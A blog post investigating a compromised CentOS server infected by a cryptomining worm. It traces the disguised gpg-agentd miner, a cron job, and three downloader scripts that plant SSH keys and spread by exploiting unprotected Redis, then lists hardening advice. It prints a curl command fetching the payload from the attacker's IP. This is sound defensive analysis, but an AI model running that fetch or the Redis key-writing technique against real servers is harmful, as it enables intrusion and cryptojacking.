Hacking Servers Analysis: Step-by-Step Incident Investigation

01 The Start of the Hacking Servers Analysis Incident

It was a routine Monday morning when a report arrived about an inaccessible server. At first, I thought it was a minor issue, but the situation took a serious turn when the operations team revealed that Alibaba Cloud had frozen the server due to suspected malicious activity. My attempts to access the server via SSH were unsuccessful, as the default port was blocked, pointing to a likely compromise through a brute-force attack. This incident underscored the need for a thorough Hacking Servers Analysis to understand the attack vectors and improve the server’s defenses against similar threats in the future.

02 Uncovering Clues in the Hacking Servers Analysis

The server system is CentOS 6.X, with applications such as nginx, tomcat, and redis deployed. I first backed up the entire database to the local computer, and then used the top command to check that there were two processes with the same name at 99% still running, called gpg-agentd.

hacking servers analysis

I googled gpg and the result is:

The gpg-agent provided by GPG supports the SSH protocol, which can greatly simplify key management.

It looks like a very legitimate program, but if you look closely, you will see a letter d after the process on the server. It is well disguised and reminds people of various viruses on Windows that look like svchost.exe .

continue

ps eho command -p 23374netstat -pan | grep 23374

Check the startup path and network status of the pid:23374 process, that is, come to the directory in Figure 1, and you have found the binary executable file left by the hacker. There are two more questions waiting for me:

1. How was the file uploaded?
2. What is the purpose of this file, or what does the hacker want to do?

History, the records are indeed cleared, leaving no trace. Continue to command more messages:

I saw that around midnight, a lot of software was installed on the server, and a few of them caught my attention. I will describe them in detail below. I guessed that if we want to do something bad, where would we do it? Automatically start? Scheduled start? Yes, scheduled tasks.

crontab -e

Sure enough, the clue was found.

03 Motive

The above scheduled task means to download a script from the server every 15 minutes and execute it. Let’s download the script and take a look.

curl -fsSL 159.89.190.243/ash.php > ash.sh

The script content is as follows:

Let’s roughly analyze the main uses of this script:

The first step is to turn off SELinux and remove the shell resource access restrictions. Then generate an ssh public key in the /root/.ssh/authorized_keys file. This way, every time a hacker logs into the server, they can log in without a password, making it much easier to execute scripts. For an article about ssh keys, please refer to this article SSH Principles and Applications.

Next, install bash, and finally download the second script bsh.php and execute it.

Continue to download and analyze bsh.pbp, the content is as follows:

The code of this script is relatively long, but it has four main functions:

1. Download the remote code to the local computer and add execution permission, chmod u+x.
2. Modify rc.local to allow the local code to be automatically executed when the computer is powered on.
3. Download the open source scanner code from github and install the related dependent software, which is the record I saw in the messages above.
4. Download the third script and execute it.

I went to github to check out the open source code, and it was amazing.

MASSCAN: Mass IP port scanner
This is the fastest Internet port
scanner. It can scan the entire Internet in under 6 minutes, >
transmitting 10 million packets per second.
It produces results similar to nmap, the most famous port scanner.
Internally, it operates more > like scanrand, unicornscan, and ZMap,
using asynchronous transmission. The major difference is > that it’s
faster than these other scanners. In addition, it’s more flexible,
allowing arbitrary > address ranges and port ranges.
NOTE: masscan uses a custom TCP /IP stack. Anything other than simple
port scans will cause conflict with the local TCP/IP stack. This means
you need to either use the -S option to use a separate IP address, or
configure your operating system to firewall the ports that masscan uses.

Transmitting 10 million packets per second, which is faster than nmap. It is not difficult to understand why Alibaba Cloud froze the server. After reading the readme, I didn’t study it in detail and continued to download the third script.

If the first two scripts only download and execute binary files on the server , then this script truly demonstrates the power of the virus. Let’s analyze this script below.

There is nothing much to say about the initial modification of the system environment. The subsequent file writing operation is a bit familiar. If you have used redis, you should be able to guess that this is the configuration of redis.

Writing this configuration naturally takes advantage of the vulnerability of redis writing cache content to local files. The result is that the local private key is used to log in to the server where the public key is written. No password is required to log in, which is the /root/.ssh/authorized_keys at the beginning of our article.

After logging in, scheduled tasks will be executed regularly to download scripts.

OK, now that the configuration file is ready, start using masscan to scan the entire network for redis servers and look for zombies. Note that 6379 is the default port of the redis server. If your redis listening port is a public IP or 0.0.0.0, and there is no password protection, sorry, you are vulnerable.

By analyzing these three scripts one by one, we can see the terribleness of this virus. First, it obtains login privileges by writing ssh public key, then downloads and executes remote binary files, and finally replicates through the redis vulnerability, quickly spreading throughout the network and growing at an exponential rate. So the question is, how did this server get infected?

I checked redis.conf and found that the bind address was 127.0.0.1, which was fine. From this, I can infer that the root account was cracked by brute force. To verify my idea, I checked lastb and found a lot of records:

There is only one last question left. What exactly does this gpg-agentd program do?

My first reaction was mining machines. Because digital currency is so popular now, the demand for distributed mining machines has increased, which has given rise to this gray industrial chain.

So, I dragged this gpg-agentd into ida, used string to search for bitcoin, eth, mine and other related words, and finally found this:

Open http://nicehash.com​Take a look and everything becomes clear.

Finally, I would like to summarize the security recommendations:

Hacking Servers Analysis: Security Recommendations

01. Server Hardening

  1. Disable the ROOT Account: Prevent unauthorized access by disabling the ROOT login.
  2. Use Strong Credentials: Ensure that both the username and password are highly complex to deter brute-force attacks.
  3. Change the Default SSH Port (22): Modify the default SSH port to add an extra layer of security against automated hacking tools.
  4. Install Anti-Brute-Force Software (DenyHosts): Protect the server from brute-force login attempts by installing DenyHosts or similar security software.
  5. Enable RSA Public Key Authentication: Disable password-based logins and switch to RSA public key authentication for added security.

02. Redis Security

  1. Restrict Public IP Monitoring: Avoid monitoring on public IPs, including 0.0.0.0, to reduce exposure.
  2. Set Up a Password for Redis: Use a password to limit access and protect Redis from unauthorized connections.
  3. Run Redis with a Low-Privilege Account: Configure Redis to operate under a user with minimal privileges to contain any potential breaches.

The hacking servers analysis above covers the entire intrusion process step by step. If you’re interested in exploring this further, you can execute the provided scripts in a virtual machine or use curl to test them.

Please note that this article may contain omissions or inaccuracies due to my limited expertise, and I welcome your feedback for improvements.

Click to rate this post!
[Total: 0 Average: 0]